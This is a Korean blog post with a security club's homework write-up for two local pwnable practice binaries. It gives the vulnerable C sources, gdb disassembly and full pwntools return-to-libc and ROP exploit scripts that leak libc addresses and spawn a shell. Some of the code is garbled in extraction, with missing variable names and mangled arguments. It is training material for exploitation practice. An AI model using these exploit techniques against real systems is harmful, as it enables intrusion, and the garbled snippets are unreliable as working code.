보안 공부/[동아리]

[동아리] Pay1oad_PWNABLE 6주차 과제

jjingjjing-2 2024. 11. 18. 11:44

3. RTL_3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
//gcc -o rop rop.c -no-pie -fno-stack-protector
#include<stdio.h>
#include <dlfcn.h>
 
 
void init() {
  setvbuf(stdin, 020);
  setvbuf(stdout, 020);
}
 
void gadget() {
    asm("pop %rdi; ret");
    asm("pop %rsi; ret");
    asm("pop %rdx; ret");
}
 
 
int main(){
    init();
 
    char buf[30];
    puts("RTL Practice");
 
    printf("> ");
    read(0,buf,0x100);
    write(1,buf,30);
 
    return 0;
 
}
 
cs

제공된 소스 코드를 보면 buf의 크기가 30이다. 하지만 read에서는 0x100만큼 받을 수 있다는 것을 알 수 있다. 어떤 보안 기법이 적용되었는지 확인해보겠다. 

NX가 적용되었고 RELRO가 부분적으로 적용되었다. 이를 통해 익스를 할 수 있는 시나리오를 구상해보면 가젯을 이용하여 read_got 주소를 출력하고 libc의 read 오프셋을 빼서 libc_base의 주소를 구한다. 그 후에 read_got의 주소를 system의 주소로 덮으면 익스가 가능할 것 같다. 먼저 gdb를 통해 buf의 위치를 파악해보겠다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
   0x000000000040120e <+0>:     endbr64
   0x0000000000401212 <+4>:     push   rbp
   0x0000000000401213 <+5>:     mov    rbp,rsp
   0x0000000000401216 <+8>:     sub    rsp,0x20
   0x000000000040121a <+12>:    mov    eax,0x0
   0x000000000040121f <+17>:    call   0x4011b6 <init>
   0x0000000000401224 <+22>:    lea    rax,[rip+0xdd9]        # 0x402004
   0x000000000040122b <+29>:    mov    rdi,rax
   0x000000000040122e <+32>:    call   0x401080 <puts@plt>
   0x0000000000401233 <+37>:    lea    rax,[rip+0xdd7]        # 0x402011
   0x000000000040123a <+44>:    mov    rdi,rax
   0x000000000040123d <+47>:    mov    eax,0x0
   0x0000000000401242 <+52>:    call   0x4010a0 <printf@plt>
   0x0000000000401247 <+57>:    lea    rax,[rbp-0x20]
   0x000000000040124b <+61>:    mov    edx,0x100
   0x0000000000401250 <+66>:    mov    rsi,rax
   0x0000000000401253 <+69>:    mov    edi,0x0
   0x0000000000401258 <+74>:    mov    eax,0x0
   0x000000000040125d <+79>:    call   0x4010b0 <read@plt>
   0x0000000000401262 <+84>:    lea    rax,[rbp-0x20]
   0x0000000000401266 <+88>:    mov    edx,0x1e
   0x000000000040126b <+93>:    mov    rsi,rax
   0x000000000040126e <+96>:    mov    edi,0x1
   0x0000000000401273 <+101>:   mov    eax,0x0
   0x0000000000401278 <+106>:   call   0x401090 <write@plt>
   0x000000000040127d <+111>:   mov    eax,0x0
   0x0000000000401282 <+116>:   leave
   0x0000000000401283 <+117>:   ret
cs

read 부분을 보면 buf의 위치가 [rbp-0x20]에 위치한다는 것을 알 수 있다. 그렇다면 0x28만큼의 dummy값을 넣고 가젯을 넣으면 될 것 같다. ROPgadget 명령어를 사용하여 가젯을 확인해보았다.

각각의 주소가 출력되었다. 그렇다면 read_got의 주소를 출력해보겠다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
 
= process("./rop")
= ELF('./rop')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6"
 
# gdb.attach(p)
 
read_off = libc.symbols['read'# read 오프셋
system_off = libc.symbols['system'# system 오프셋
 
read_plt = e.plt['read'# read_plt의 주소
read_got = e.got['read'# read_got의 주소
write_plt = e.plt['write'# write_plt의 주소
 
'''
0x0000000000401205 : pop rdi ; ret
0x0000000000401209 : pop rdx ; ret
0x0000000000401207 : pop rsi ; ret
'''
 
pop_rdi = 0x0000000000401205
pop_rsi = 0x0000000000401207
 
buf = b'a' * 0x20
payload = buf + b'b' * 0x8 + p64(pop_rdi) + p64(1+ p64(pop_rsi) + p64(read_got) + p64(write_plt)
cs

가젯을 해석하면 write(1, read_got, rdx)로 해석할 수 있다. 다음 가젯으로는 read_got에 내가 원하는 값을 overwrite할 수 있게 read 함수를 사용할 것이다. 

1
2
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(read_got) + p64(read_plt)
 
cs

이 가젯을 해석하면 read(0, read_got, rdx)이다. 그 후로는 read_plt를 사용하여 덮은 read_got을 작동시킬 예정이다. 여기서는 system 함수의 주소를 덮을 것이다.

1
2
payload += p64(pop_rdi) + p64(read_got + 8) + p64(read_plt)
 
cs

가젯을 해석하자면 system(read_got + 8)이 작동될 것이다. payload를 이런 식으로 짜면 된다. libc_base를 계산하기 위해서 출력된 read_got의 주소를 받고 libc의 read_offset을 빼면 libc_base 주소가 구해진다. 그 후에 libc_base에 system_offset을 더하면 system 함수의 주소가 구해진다. 그 후에 system 함수의 주소와 /bin/sh를 보내면 될 것이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
p.sendafter(b'> ',payload)
p.recv(30)
read_addr = u64(p.recv(6+ b'\x00' * 0x2) # read의 주소가 6바이트이므로 2바이트를 더 붙여 8바이트로 만듬
print("read : " + hex(read_addr))
 
lb = read_addr - read_off
print("libc base : "+hex(lb))
 
sy = lb + system_off
print("system : " + hex(sy))

p.send(p64(sy) + b"/bin/sh\x00")

p.interactive()
cs

 

이렇게 코드를 짜면 익스에 성공할 수 있을 것이다. 

익스가 되지 않는다. gdb.attach를 사용하여 무엇이 문제인지 찾아보겠다.

이곳에서 넘어가지 않는다. 이 오류에 대해 찾아보니 16바이트가 아닌 데이터를 작동시키는 것이 문제라고 한다. 이 문제를 해결하는 방법은 ret을 넣으면 간단하게 해결된다.

전체 코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
 
= process("./rop")
= ELF('./rop')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6"
 
# gdb.attach(p)
 
read_off = libc.symbols['read'# read 오프셋
system_off = libc.symbols['system'# system 오프셋
 
read_plt = e.plt['read'# read_plt의 주소
read_got = e.got['read'# read_got의 주소
write_plt = e.plt['write'# write_plt의 주소
 
'''
0x0000000000401205 : pop rdi ; ret
0x0000000000401209 : pop rdx ; ret
0x0000000000401207 : pop rsi ; ret
'''
 
pop_rdi = 0x0000000000401205
pop_rsi = 0x0000000000401207
ret = 0x000000000040101a 
 
buf = b'a' * 0x20
payload = buf + b'b' * 0x8 + p64(pop_rdi) + p64(1+ p64(pop_rsi) + p64(read_got) + p64(write_plt)
payload += p64(pop_rdi) + p64(0+ p64(pop_rsi) + p64(read_got) + p64(read_plt)
payload += p64(pop_rdi) + p64(read_got + 8+ p64(ret) + p64(read_plt)
 
p.sendafter(b'> ',payload)
p.recv(30)
read_addr = u64(p.recv(6+ b'\x00' * 0x2) # read의 주소가 6바이트이므로 2바이트를 더 붙여 8바이트로 만듬
print("read : " + hex(read_addr))
 
lb = read_addr - read_off
print("libc base : "+hex(lb))
 
sy = lb + system_off
print("system : " + hex(sy))
 
p.send(p64(sy) + b"/bin/sh\x00")
 
p.interactive()
cs

전체 익스코드이다. 이제는 정말로 될 것이다.

6.leak_pie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
//gcc -o leak_pie leak_pie.c -fno-stack-protector
#include<stdio.h>
#include <dlfcn.h>
 
 
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}
 
void gadget() {
    asm("pop %rdi; ret");
    asm("pop %rsi; ret");
    asm("pop %rdx; ret");
}
 
 
int main(){
    init();
    char buf[30];
 
    puts("PIE Practice");
 
    puts("First, Leak code base");
    printf("> ");
    read(0,buf,0x50);
    printf("buf: %s\n",buf);
 
    puts("Second, Exploit!");
    printf("> ");
    read(0,buf,0x100);
    write(1,buf,30);
 
    return 0;
 
}
cs

제공된 소스코드이다. 취약점으로는 buf의 크기가 30이지만 read에서 0x50, 0x100만큼 받고 있어 이 부분에서 BOF가 발생한다. 어떤 보안기법이 적용되었는지 확인해보겠다. 

NX와 PIE가 적용되었다는 것을 알 수 있다. gdb를 통해 buf의 위치를 특정하고 어떤 식으로 시나리오를 구상해야 하는지 생각해보겠다. 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
   0x0000000000001221 <+0>:     endbr64
   0x0000000000001225 <+4>:     push   rbp
   0x0000000000001226 <+5>:     mov    rbp,rsp
   0x0000000000001229 <+8>:     sub    rsp,0x20
   0x000000000000122d <+12>:    mov    eax,0x0
   0x0000000000001232 <+17>:    call   0x11c9 <init>
   0x0000000000001237 <+22>:    lea    rax,[rip+0xdc6]        # 0x2004
   0x000000000000123e <+29>:    mov    rdi,rax
   0x0000000000001241 <+32>:    call   0x1090 <puts@plt>
   0x0000000000001246 <+37>:    lea    rax,[rip+0xdc4]        # 0x2011
   0x000000000000124d <+44>:    mov    rdi,rax
   0x0000000000001250 <+47>:    call   0x1090 <puts@plt>
   0x0000000000001255 <+52>:    lea    rax,[rip+0xdcb]        # 0x2027
   0x000000000000125c <+59>:    mov    rdi,rax
   0x000000000000125f <+62>:    mov    eax,0x0
   0x0000000000001264 <+67>:    call   0x10b0 <printf@plt>
   0x0000000000001269 <+72>:    lea    rax,[rbp-0x20]
   0x000000000000126d <+76>:    mov    edx,0x50
   0x0000000000001272 <+81>:    mov    rsi,rax
   0x0000000000001275 <+84>:    mov    edi,0x0
   0x000000000000127a <+89>:    mov    eax,0x0
   0x000000000000127f <+94>:    call   0x10c0 <read@plt>
   0x0000000000001284 <+99>:    lea    rax,[rbp-0x20]
   0x0000000000001288 <+103>:   mov    rsi,rax
   0x000000000000128b <+106>:   lea    rax,[rip+0xd98]        # 0x202a
   0x0000000000001292 <+113>:   mov    rdi,rax
   0x0000000000001295 <+116>:   mov    eax,0x0
   0x000000000000129a <+121>:   call   0x10b0 <printf@plt>
   0x000000000000129f <+126>:   lea    rax,[rip+0xd8d]        # 0x2033
   0x00000000000012a6 <+133>:   mov    rdi,rax
   0x00000000000012a9 <+136>:   call   0x1090 <puts@plt>
   0x00000000000012ae <+141>:   lea    rax,[rip+0xd72]        # 0x2027
   0x00000000000012b5 <+148>:   mov    rdi,rax
   0x00000000000012b8 <+151>:   mov    eax,0x0
   0x00000000000012bd <+156>:   call   0x10b0 <printf@plt>
   0x00000000000012c2 <+161>:   lea    rax,[rbp-0x20]
   0x00000000000012c6 <+165>:   mov    edx,0x100
   0x00000000000012cb <+170>:   mov    rsi,rax
   0x00000000000012ce <+173>:   mov    edi,0x0
   0x00000000000012d3 <+178>:   mov    eax,0x0
   0x00000000000012d8 <+183>:   call   0x10c0 <read@plt>
   0x00000000000012dd <+188>:   lea    rax,[rbp-0x20]
   0x00000000000012e1 <+192>:   mov    edx,0x1e
   0x00000000000012e6 <+197>:   mov    rsi,rax
   0x00000000000012e9 <+200>:   mov    edi,0x1
   0x00000000000012ee <+205>:   mov    eax,0x0
   0x00000000000012f3 <+210>:   call   0x10a0 <write@plt>
   0x00000000000012f8 <+215>:   mov    eax,0x0
   0x00000000000012fd <+220>:   leave
   0x00000000000012fe <+221>:   ret
cs

코드를 보면 buf의 위치는 [rbp -0x20]에 위치한다는 것을 알 수 있다. PIE가 걸려있어 offset을 구해야 한다. 실행시켜 return 값이 어디로 설정되어있는지 확인해보겠다.

__libc_start_call_main으로 ret이 설정되어있다는 것을 알 수 있다. 현재 실행시켰을 때는 0x7ffff7dafd90으로 설정되어있다. 그렇다면 vmmap 명령어를 사용하여 libc_base의 주소를 확인해보겠다.

libc_base의 주소는 0x7ffff7d86000로 설정되어있다. 두 주소의 오프셋을 구하면 0x29D90이다. 주어진 정보로 시나리오를 만들어보자면 첫 번째 입력에서 ret 전까지 dummy 값을 채워 ret의 주소를 출력한다. 출력한 주소에서 0x29D90 빼서 libc_base를 구한다. system("/bin/sh")를 실행시킨다면 쉽게 익스를 할 수 있을 것이다. 먼저 pop rdi과 ret의 주소를 구해보겠다. 

그리고 /bin/sh의 값도 구해야 한다. 

/bin/sh의 주소는 0x1D8678이다. 이것으로 익스를 할 모든 조건이 갖추어졌다. 한 번 익스코드를 작성해보겠다. 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
 
= process('./leak_pie')
= ELF("./leak_pie")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
 
# gdb.attach(p)
 
'''
0x0000000000029139 : ret
0x000000000002a3e5 : pop rdi ; ret
0x029D90 : offset
'''
 
payload = b'A' * 0x28
p.sendafter("> ", payload)
p.recvuntil(payload)
libc_start_main_x = u64(p.recvline()[:-1+ b'\x00' * 2)
libc_base = libc_start_main_x - 0x029D90
 
print(hex(libc_base))
cs

buf의 위치가 [rbp-0x20]에 위치하므로 0x28만큼의 더미 값을 넣어준다면 ret의 주소를 출력할 것이다. 그 후에 libc_base를 구하기 위해 아까 구했던 0x29D90을 빼준다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
binsh =  0x1d8678 
pop_rdi = 0x000000000002a3e5 + libc_base 
pop_rsi = 0x000000000002be51
ret = 0x0000000000029139 + libc_base
 
libc_base_binsh = binsh + libc_base
 
libc_base_system = libc_base + libc.symbols['system']
 
 
payload += p64(pop_rdi) + p64(libc_base_binsh) + p64(ret) + p64(libc_base_system)
 
print(hex(libc_base))
 
p.sendafter("> ", payload)
 
p.interactive()
cs

offset과 libc_base를 더해 주소를 구한다. 그 후 payload에 system("/bin/sh")를 더해서 다시 입력한다. 이러면 익스가 될 것이다.

전체 코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
 
= process('./leak_pie')
= ELF("./leak_pie")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
 
# gdb.attach(p)
 
'''
0x0000000000029139 : ret
0x000000000002a3e5 : pop rdi ; ret
0x029D90 : offset
'''
 
payload = b'A' * 0x28
p.sendafter("> ", payload)
p.recvuntil(payload)
libc_start_main_x = u64(p.recvline()[:-1+ b'\x00' * 2)
libc_base = libc_start_main_x - 0x029D90
 
print(hex(libc_base))
 
binsh =  0x1d8678 
pop_rdi = 0x000000000002a3e5 + libc_base 
pop_rsi = 0x000000000002be51
ret = 0x0000000000029139 + libc_base
 
libc_base_binsh = binsh + libc_base
 
libc_base_system = libc_base + libc.symbols['system']
 
 
payload += p64(pop_rdi) + p64(libc_base_binsh) + p64(ret) + p64(libc_base_system)
 
p.sendafter("> ", payload)
 
p.interactive()
cs